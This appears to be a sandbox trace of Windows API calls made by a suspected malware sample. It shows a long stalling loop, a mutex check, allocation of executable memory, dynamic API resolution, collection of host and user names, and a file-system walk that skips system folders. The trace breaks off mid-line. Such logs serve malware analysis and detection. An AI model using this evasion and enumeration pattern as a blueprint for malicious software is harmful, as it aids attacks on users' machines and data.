[0123.772] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.772] GetFocus () returned 0x0 [0123.772] GetSystemMetrics (nIndex=25) returned 0 [0123.772] CountClipboardFormats () returned 0 [0123.772] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.772] GetFocus () returned 0x0 [0123.772] GetSystemMetrics (nIndex=25) returned 0 [0123.772] CountClipboardFormats () returned 0 [0123.772] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.772] GetFocus () returned 0x0 [0123.772] GetSystemMetrics (nIndex=25) returned 0 [0123.772] CountClipboardFormats () returned 0 [0123.772] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.772] GetFocus () returned 0x0 [0123.772] GetSystemMetrics (nIndex=25) returned 0 [0123.772] CountClipboardFormats () returned 0 [0123.772] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.772] GetFocus () returned 0x0 [0123.772] GetSystemMetrics (nIndex=25) returned 0 [0123.772] CountClipboardFormats () returned 0 [0123.772] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.772] GetFocus () returned 0x0 [0123.772] GetSystemMetrics (nIndex=25) returned 0 [0123.772] CountClipboardFormats () returned 0 [0123.772] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.772] GetFocus () returned 0x0 [0123.772] GetSystemMetrics (nIndex=25) returned 0 [0123.772] CountClipboardFormats () returned 0 [0123.772] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.772] GetFocus () returned 0x0 [0123.773] GetSystemMetrics (nIndex=25) returned 0 [0123.773] CountClipboardFormats () returned 0 [0123.773] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.773] GetFocus () returned 0x0 [0123.773] GetSystemMetrics (nIndex=25) returned 0 [0123.773] CountClipboardFormats () returned 0 [0123.773] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.773] GetFocus () returned 0x0 [0123.773] GetSystemMetrics (nIndex=25) returned 0 [0123.773] CountClipboardFormats () returned 0 [0123.773] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.773] GetFocus () returned 0x0 [0123.773] GetSystemMetrics (nIndex=25) returned 0 [0123.773] CountClipboardFormats () returned 0 [0123.773] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.773] GetFocus () returned 0x0 [0123.773] GetSystemMetrics (nIndex=25) returned 0 [0123.773] CountClipboardFormats () returned 0 [0123.773] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.773] GetFocus () returned 0x0 [0123.773] GetSystemMetrics (nIndex=25) returned 0 [0123.773] CountClipboardFormats () returned 0 [0123.773] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.773] GetFocus () returned 0x0 [0123.773] GetSystemMetrics (nIndex=25) returned 0 [0123.773] CountClipboardFormats () returned 0 [0123.773] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.773] GetFocus () returned 0x0 [0123.773] GetSystemMetrics (nIndex=25) returned 0 [0123.773] CountClipboardFormats () returned 0 [0123.773] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.773] GetFocus () returned 0x0 [0123.773] GetSystemMetrics (nIndex=25) returned 0 [0123.773] CountClipboardFormats () returned 0 [0123.773] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.773] GetFocus () returned 0x0 [0123.773] GetSystemMetrics (nIndex=25) returned 0 [0123.773] CountClipboardFormats () returned 0 [0123.773] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.773] GetFocus () returned 0x0 [0123.773] GetSystemMetrics (nIndex=25) returned 0 [0123.773] CountClipboardFormats () returned 0 [0123.773] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.773] GetFocus () returned 0x0 [0123.773] GetSystemMetrics (nIndex=25) returned 0 [0123.773] CountClipboardFormats () returned 0 [0123.773] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.773] GetFocus () returned 0x0 [0123.773] GetSystemMetrics (nIndex=25) returned 0 [0123.773] CountClipboardFormats () returned 0 [0123.773] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.773] GetFocus () returned 0x0 [0123.773] GetSystemMetrics (nIndex=25) returned 0 [0123.773] CountClipboardFormats () returned 0 [0123.773] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.773] GetFocus () returned 0x0 [0123.773] GetSystemMetrics (nIndex=25) returned 0 [0123.773] CountClipboardFormats () returned 0 [0123.773] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.773] GetFocus () returned 0x0 [0123.773] GetSystemMetrics (nIndex=25) returned 0 [0123.773] CountClipboardFormats () returned 0 [0123.773] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.773] GetFocus () returned 0x0 [0123.774] GetSystemMetrics (nIndex=25) returned 0 [0123.774] CountClipboardFormats () returned 0 [0123.774] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.774] GetFocus () returned 0x0 [0123.774] GetSystemMetrics (nIndex=25) returned 0 [0123.774] CountClipboardFormats () returned 0 [0123.774] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.774] GetFocus () returned 0x0 [0123.774] GetSystemMetrics (nIndex=25) returned 0 [0123.774] CountClipboardFormats () returned 0 [0123.774] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.774] GetFocus () returned 0x0 [0123.774] GetSystemMetrics (nIndex=25) returned 0 [0123.774] CountClipboardFormats () returned 0 [0123.774] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.774] GetFocus () returned 0x0 [0123.774] GetSystemMetrics (nIndex=25) returned 0 [0123.774] CountClipboardFormats () returned 0 [0123.774] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.774] GetFocus () returned 0x0 [0123.774] GetSystemMetrics (nIndex=25) returned 0 [0123.774] CountClipboardFormats () returned 0 [0123.774] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.774] GetFocus () returned 0x0 [0123.774] GetSystemMetrics (nIndex=25) returned 0 [0123.774] CountClipboardFormats () returned 0 [0123.774] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.774] GetFocus () returned 0x0 [0123.774] GetSystemMetrics (nIndex=25) returned 0 [0123.774] CountClipboardFormats () returned 0 [0123.774] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.774] GetFocus () returned 0x0 [0123.774] GetSystemMetrics (nIndex=25) returned 0 [0123.774] CountClipboardFormats () returned 0 [0123.774] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.774] GetFocus () returned 0x0 [0123.774] GetSystemMetrics (nIndex=25) returned 0 [0123.774] CountClipboardFormats () returned 0 [0123.774] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.774] GetFocus () returned 0x0 [0123.774] GetSystemMetrics (nIndex=25) returned 0 [0123.774] CountClipboardFormats () returned 0 [0123.774] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.774] GetFocus () returned 0x0 [0123.775] GetSystemMetrics (nIndex=25) returned 0 [0123.775] CountClipboardFormats () returned 0 [0123.775] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.775] GetFocus () returned 0x0 [0123.775] GetSystemMetrics (nIndex=25) returned 0 [0123.775] CountClipboardFormats () returned 0 [0123.775] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.775] GetFocus () returned 0x0 [0123.775] GetSystemMetrics (nIndex=25) returned 0 [0123.775] CountClipboardFormats () returned 0 [0123.775] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.775] GetFocus () returned 0x0 [0123.775] GetSystemMetrics (nIndex=25) returned 0 [0123.775] CountClipboardFormats () returned 0 [0123.775] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.775] GetFocus () returned 0x0 [0123.775] GetSystemMetrics (nIndex=25) returned 0 [0123.775] CountClipboardFormats () returned 0 [0123.775] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.775] GetFocus () returned 0x0 [0123.775] GetSystemMetrics (nIndex=25) returned 0 [0123.775] CountClipboardFormats () returned 0 [0123.775] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.775] GetFocus () returned 0x0 [0123.775] GetSystemMetrics (nIndex=25) returned 0 [0123.775] CountClipboardFormats () returned 0 [0123.775] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.775] GetFocus () returned 0x0 [0123.775] GetSystemMetrics (nIndex=25) returned 0 [0123.775] CountClipboardFormats () returned 0 [0123.775] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.775] GetFocus () returned 0x0 [0123.775] GetSystemMetrics (nIndex=25) returned 0 [0123.775] CountClipboardFormats () returned 0 [0123.775] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.775] GetFocus () returned 0x0 [0123.775] GetSystemMetrics (nIndex=25) returned 0 [0123.775] CountClipboardFormats () returned 0 [0123.775] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.775] GetFocus () returned 0x0 [0123.775] GetSystemMetrics (nIndex=25) returned 0 [0123.775] CountClipboardFormats () returned 0 [0123.775] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.775] GetFocus () returned 0x0 [0123.775] GetSystemMetrics (nIndex=25) returned 0 [0123.775] CountClipboardFormats () returned 0 [0123.775] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.775] GetFocus () returned 0x0 [0123.775] GetSystemMetrics (nIndex=25) returned 0 [0123.775] CountClipboardFormats () returned 0 [0123.775] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.775] GetFocus () returned 0x0 [0123.775] GetSystemMetrics (nIndex=25) returned 0 [0123.775] CountClipboardFormats () returned 0 [0123.775] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.775] GetFocus () returned 0x0 [0123.775] GetSystemMetrics (nIndex=25) returned 0 [0123.775] CountClipboardFormats () returned 0 [0123.775] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.775] GetFocus () returned 0x0 [0123.776] GetSystemMetrics (nIndex=25) returned 0 [0123.776] CountClipboardFormats () returned 0 [0123.776] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.776] GetFocus () returned 0x0 [0123.776] GetSystemMetrics (nIndex=25) returned 0 [0123.776] CountClipboardFormats () returned 0 [0123.776] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.776] GetFocus () returned 0x0 [0123.776] GetSystemMetrics (nIndex=25) returned 0 [0123.776] CountClipboardFormats () returned 0 [0123.776] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.776] GetFocus () returned 0x0 [0123.776] GetSystemMetrics (nIndex=25) returned 0 [0123.776] CountClipboardFormats () returned 0 [0123.776] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.776] GetFocus () returned 0x0 [0123.776] GetSystemMetrics (nIndex=25) returned 0 [0123.776] CountClipboardFormats () returned 0 [0123.776] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.776] GetFocus () returned 0x0 [0123.776] GetSystemMetrics (nIndex=25) returned 0 [0123.776] CountClipboardFormats () returned 0 [0123.776] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.776] GetFocus () returned 0x0 [0123.776] GetSystemMetrics (nIndex=25) returned 0 [0123.776] CountClipboardFormats () returned 0 [0123.776] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.776] GetFocus () returned 0x0 [0123.776] GetSystemMetrics (nIndex=25) returned 0 [0123.776] CountClipboardFormats () returned 0 [0123.776] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.776] GetFocus () returned 0x0 [0123.776] GetSystemMetrics (nIndex=25) returned 0 [0123.776] CountClipboardFormats () returned 0 [0123.776] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.776] GetFocus () returned 0x0 [0123.776] GetSystemMetrics (nIndex=25) returned 0 [0123.776] CountClipboardFormats () returned 0 [0123.776] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.776] GetFocus () returned 0x0 [0123.776] GetSystemMetrics (nIndex=25) returned 0 [0123.776] CountClipboardFormats () returned 0 [0123.776] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.776] GetFocus () returned 0x0 [0123.776] GetSystemMetrics (nIndex=25) returned 0 [0123.776] CountClipboardFormats () returned 0 [0123.776] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.776] GetFocus () returned 0x0 [0123.776] GetSystemMetrics (nIndex=25) returned 0 [0123.776] CountClipboardFormats () returned 0 [0123.776] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.776] GetFocus () returned 0x0 [0123.776] GetSystemMetrics (nIndex=25) returned 0 [0123.776] CountClipboardFormats () returned 0 [0123.776] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.776] GetFocus () returned 0x0 [0123.776] GetSystemMetrics (nIndex=25) returned 0 [0123.776] CountClipboardFormats () returned 0 [0123.776] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.776] GetFocus () returned 0x0 [0123.776] GetSystemMetrics (nIndex=25) returned 0 [0123.776] CountClipboardFormats () returned 0 [0123.776] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.776] GetFocus () returned 0x0 [0123.777] GetSystemMetrics (nIndex=25) returned 0 [0123.777] CountClipboardFormats () returned 0 [0123.777] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.777] GetFocus () returned 0x0 [0123.777] GetSystemMetrics (nIndex=25) returned 0 [0123.777] CountClipboardFormats () returned 0 [0123.777] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.777] GetFocus () returned 0x0 [0123.777] GetSystemMetrics (nIndex=25) returned 0 [0123.777] CountClipboardFormats () returned 0 [0123.777] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.777] GetFocus () returned 0x0 [0123.777] GetSystemMetrics (nIndex=25) returned 0 [0123.777] CountClipboardFormats () returned 0 [0123.777] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.777] GetFocus () returned 0x0 [0123.777] GetSystemMetrics (nIndex=25) returned 0 [0123.777] CountClipboardFormats () returned 0 [0123.777] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.777] GetFocus () returned 0x0 [0123.777] GetSystemMetrics (nIndex=25) returned 0 [0123.777] CountClipboardFormats () returned 0 [0123.777] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.777] GetFocus () returned 0x0 [0123.777] GetSystemMetrics (nIndex=25) returned 0 [0123.777] CountClipboardFormats () returned 0 [0123.777] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.777] GetFocus () returned 0x0 [0123.777] GetSystemMetrics (nIndex=25) returned 0 [0123.777] CountClipboardFormats () returned 0 [0123.777] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.777] GetFocus () returned 0x0 [0123.777] GetSystemMetrics (nIndex=25) returned 0 [0123.777] CountClipboardFormats () returned 0 [0123.777] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.777] GetFocus () returned 0x0 [0123.777] GetSystemMetrics (nIndex=25) returned 0 [0123.777] CountClipboardFormats () returned 0 [0123.777] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0123.777] GetFocus () returned 0x0 [0123.777] Sleep (dwMilliseconds=0x0) [0123.777] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="XoBZXxTVpSVrDHIx3tCj") returned 0x0 [0123.777] GetLastError () returned 0x2 [0123.777] GetLocalTime (in: lpSystemTime=0x20fc28 | out: lpSystemTime=0x20fc28*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x13, wSecond=0x31, wMilliseconds=0x206)) [0123.777] VarI4FromUI1 (in: bIn=0x1, plOut=0x20fc38 | out: plOut=0x20fc38) returned 0x0 [0123.778] LdrGetProcedureAddress (in: BaseAddress=0x74e30000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x20fa6c | out: ProcedureAddress=0x20fa6c*=0x74e41856) returned 0x0 [0123.778] VirtualAlloc (lpAddress=0x0, dwSize=0x12000, flAllocationType=0x1000, flProtect=0x4) returned 0xb0000 [0123.779] LdrGetProcedureAddress (in: BaseAddress=0x74e30000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x20faa4 | out: ProcedureAddress=0x20faa4*=0x74e41856) returned 0x0 [0123.779] VirtualAlloc (lpAddress=0x0, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x40) returned 0xe0000 [0123.780] LdrGetProcedureAddress (in: BaseAddress=0x74e30000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x20fb14 | out: ProcedureAddress=0x20fb14*=0x74e449d7) returned 0x0 [0123.780] LdrGetProcedureAddress (in: BaseAddress=0x74e30000, Name="UnmapViewOfFile", Ordinal=0x0, ProcedureAddress=0x20fb14 | out: ProcedureAddress=0x20fb14*=0x74e41826) returned 0x0 [0123.780] LdrGetProcedureAddress (in: BaseAddress=0x74e30000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x20fb14 | out: ProcedureAddress=0x20fb14*=0x74e41222) returned 0x0 [0123.780] LdrGetProcedureAddress (in: BaseAddress=0x74e30000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x20fb14 | out: ProcedureAddress=0x20fb14*=0x74e41856) returned 0x0 [0123.780] LdrGetProcedureAddress (in: BaseAddress=0x74e30000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x20fb14 | out: ProcedureAddress=0x20fb14*=0x74e4435f) returned 0x0 [0123.780] LdrGetProcedureAddress (in: BaseAddress=0x74e30000, Name="AddVectoredExceptionHandler", Ordinal=0x0, ProcedureAddress=0x20fb14 | out: ProcedureAddress=0x20fb14*=0x7704742b) returned 0x0 [0123.780] LdrGetProcedureAddress (in: BaseAddress=0x74e30000, Name="RemoveVectoredExceptionHandler", Ordinal=0x0, ProcedureAddress=0x20fb14 | out: ProcedureAddress=0x20fb14*=0x77045f41) returned 0x0 [0123.780] LoadLibraryA (lpLibFileName="msvcrt.dll") returned 0x76b00000 [0123.781] GetProcAddress (hModule=0x76b00000, lpProcName="strchr") returned 0x76b0dbeb [0123.781] GetProcAddress (hModule=0x76b00000, lpProcName="free") returned 0x76b09894 [0123.781] GetProcAddress (hModule=0x76b00000, lpProcName="malloc") returned 0x76b09cee [0123.781] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x74e30000 [0123.781] GetProcAddress (hModule=0x74e30000, lpProcName="FreeConsole") returned 0x74ee6aa8 [0123.781] GetProcAddress (hModule=0x74e30000, lpProcName="lstrlenW") returned 0x74e41700 [0123.781] GetProcAddress (hModule=0x74e30000, lpProcName="lstrcatW") returned 0x74e6828e [0123.781] GetProcAddress (hModule=0x74e30000, lpProcName="FindFirstFileW") returned 0x74e44435 [0123.781] GetProcAddress (hModule=0x74e30000, lpProcName="lstrcmpW") returned 0x74e45929 [0123.781] GetProcAddress (hModule=0x74e30000, lpProcName="lstrcpyW") returned 0x74e63102 [0123.781] GetProcAddress (hModule=0x74e30000, lpProcName="FindNextFileW") returned 0x74e454ee [0123.781] GetProcAddress (hModule=0x74e30000, lpProcName="FindClose") returned 0x74e44442 [0123.781] GetProcAddress (hModule=0x74e30000, lpProcName="GetModuleHandleA") returned 0x74e41245 [0123.781] GetProcAddress (hModule=0x74e30000, lpProcName="GetModuleFileNameA") returned 0x74e414b1 [0123.781] GetProcAddress (hModule=0x74e30000, lpProcName="GetComputerNameA") returned 0x74e5b6e0 [0123.781] GetProcAddress (hModule=0x74e30000, lpProcName="GetComputerNameExA") returned 0x74ec42ef [0123.782] GetProcAddress (hModule=0x74e30000, lpProcName="lstrlenA") returned 0x74e45a4b [0123.782] GetProcAddress (hModule=0x74e30000, lpProcName="lstrcmpA") returned 0x74e5eceb [0123.782] GetProcAddress (hModule=0x74e30000, lpProcName="GetLastError") returned 0x74e411c0 [0123.782] GetProcAddress (hModule=0x74e30000, lpProcName="GetProcessHeap") returned 0x74e414e9 [0123.782] GetProcAddress (hModule=0x74e30000, lpProcName="HeapAlloc") returned 0x76ffe026 [0123.782] GetProcAddress (hModule=0x74e30000, lpProcName="HeapFree") returned 0x74e414c9 [0123.782] GetProcAddress (hModule=0x74e30000, lpProcName="SetLastError") returned 0x74e411a9 [0123.782] GetProcAddress (hModule=0x74e30000, lpProcName="GetCurrentProcess") returned 0x74e41809 [0123.782] GetProcAddress (hModule=0x74e30000, lpProcName="GetCurrentProcessId") returned 0x74e411f8 [0123.782] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x75040000 [0123.782] GetProcAddress (hModule=0x75040000, lpProcName="wsprintfA") returned 0x7506ae5f [0123.782] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d90000 [0123.782] GetProcAddress (hModule=0x74d90000, lpProcName="GetUserNameA") returned 0x74dba4b4 [0123.782] lstrcpyW (in: lpString1=0x6d25b8, lpString2="c:\\" | out: lpString1="c:\\") returned="c:\\" [0123.782] lstrlenW (lpString="c:\\") returned 3 [0123.783] lstrcatW (in: lpString1="c:\\", lpString2="*" | out: lpString1="c:\\*") returned="c:\\*" [0123.783] FindFirstFileW (in: lpFileName="c:\\*", lpFindFileData=0x20f584 | out: lpFindFileData=0x20f584) returned 0x4d56e0 [0123.783] lstrcmpW (lpString1="$Recycle.Bin", lpString2=".") returned -1 [0123.783] lstrcmpW (lpString1="$Recycle.Bin", lpString2="..") returned -1 [0123.783] lstrcmpW (lpString1="$Recycle.Bin", lpString2="Windows") returned -1 [0123.783] lstrcmpW (lpString1="$Recycle.Bin", lpString2="Program Files") returned -1 [0123.783] lstrlenW (lpString="c:\\") returned 3 [0123.783] lstrlenW (lpString="$Recycle.Bin") returned 12 [0123.783] lstrcatW (in: lpString1="c:\\", lpString2="$Recycle.Bin" | out: lpString1="c:\\$Recycle.Bin") returned="c:\\$Recycle.Bin" [0123.783] lstrcatW (in: lpString1="c:\\$Recycle.Bin", lpString2="\\" | out: lpString1="c:\\$Recycle.Bin\\") returned="c:\\$Recycle.Bin\\" [0123.783] lstrlenW (lpString="c:\\$Recycle.Bin\\") returned 16 [0123.783] lstrcatW (in: lpString1="c:\\$Recycle.Bin\\", lpString2="*" | out: lpString1="c:\\$Recycle.Bin\\*") returned="c:\\$Recycle.Bin\\*" [0123.783] FindFirstFileW (in: lpFileName="c:\\$Recycle.Bin\\*", lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 0x4d5720 [0123.783] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.783] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.783] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.783] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.783] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.783] lstrcmpW (lpString1="S-1-5-21-2345716840-1148442690-1481144037-1000", lpString2=".") returned 1 [0123.783] lstrcmpW (lpString1="S-1-5-21-2345716840-1148442690-1481144037-1000", lpString2="..") returned 1 [0123.783] lstrlenW (lpString="c:\\$Recycle.Bin\\") returned 16 [0123.783] lstrlenW (lpString="S-1-5-21-2345716840-1148442690-1481144037-1000") returned 46 [0123.783] lstrcatW (in: lpString1="c:\\$Recycle.Bin\\", lpString2="S-1-5-21-2345716840-1148442690-1481144037-1000" | out: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000") returned="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000" [0123.783] lstrcatW (in: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000", lpString2="\\" | out: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\") returned="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\" [0123.783] lstrlenW (lpString="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\") returned 63 [0123.783] lstrcatW (in: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\", lpString2="*" | out: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\*") returned="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\*" [0123.783] FindFirstFileW (in: lpFileName="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.784] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.784] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.784] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.784] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.784] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.784] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0123.784] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0123.784] lstrlenW (lpString="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\") returned 63 [0123.784] lstrlenW (lpString="desktop.ini") returned 11 [0123.784] lstrcatW (in: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\", lpString2="desktop.ini" | out: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini") returned="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini" [0123.784] lstrlenW (lpString="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini") returned 74 [0123.784] lstrcpyW (in: lpString1=0x6d27c8, lpString2="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini" | out: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini") returned="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini" [0123.784] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.784] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.784] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 0 [0123.784] FindClose (in: hFindFile=0x4d5720 | out: hFindFile=0x4d5720) returned 1 [0123.784] FindNextFileW (in: hFindFile=0x4d56e0, lpFindFileData=0x20f584 | out: lpFindFileData=0x20f584) returned 1 [0123.784] lstrcmpW (lpString1="Boot", lpString2=".") returned 1 [0123.784] lstrcmpW (lpString1="Boot", lpString2="..") returned 1 [0123.784] lstrcmpW (lpString1="Boot", lpString2="Windows") returned -1 [0123.784] lstrcmpW (lpString1="Boot", lpString2="Program Files") returned -1 [0123.784] lstrlenW (lpString="c:\\") returned 3 [0123.784] lstrlenW (lpString="Boot") returned 4 [0123.784] lstrcatW (in: lpString1="c:\\", lpString2="Boot" | out: lpString1="c:\\Boot") returned="c:\\Boot" [0123.784] lstrcatW (in: lpString1="c:\\Boot", lpString2="\\" | out: lpString1="c:\\Boot\\") returned="c:\\Boot\\" [0123.784] lstrlenW (lpString="c:\\Boot\\") returned 8 [0123.784] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="*" | out: lpString1="c:\\Boot\\*") returned="c:\\Boot\\*" [0123.784] FindFirstFileW (in: lpFileName="c:\\Boot\\*", lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 0x4d5720 [0123.785] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.785] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.785] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.785] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.785] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.785] lstrcmpW (lpString1="BCD", lpString2=".") returned 1 [0123.785] lstrcmpW (lpString1="BCD", lpString2="..") returned 1 [0123.785] lstrlenW (lpString="c:\\Boot\\") returned 8 [0123.785] lstrlenW (lpString="BCD") returned 3 [0123.785] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="BCD" | 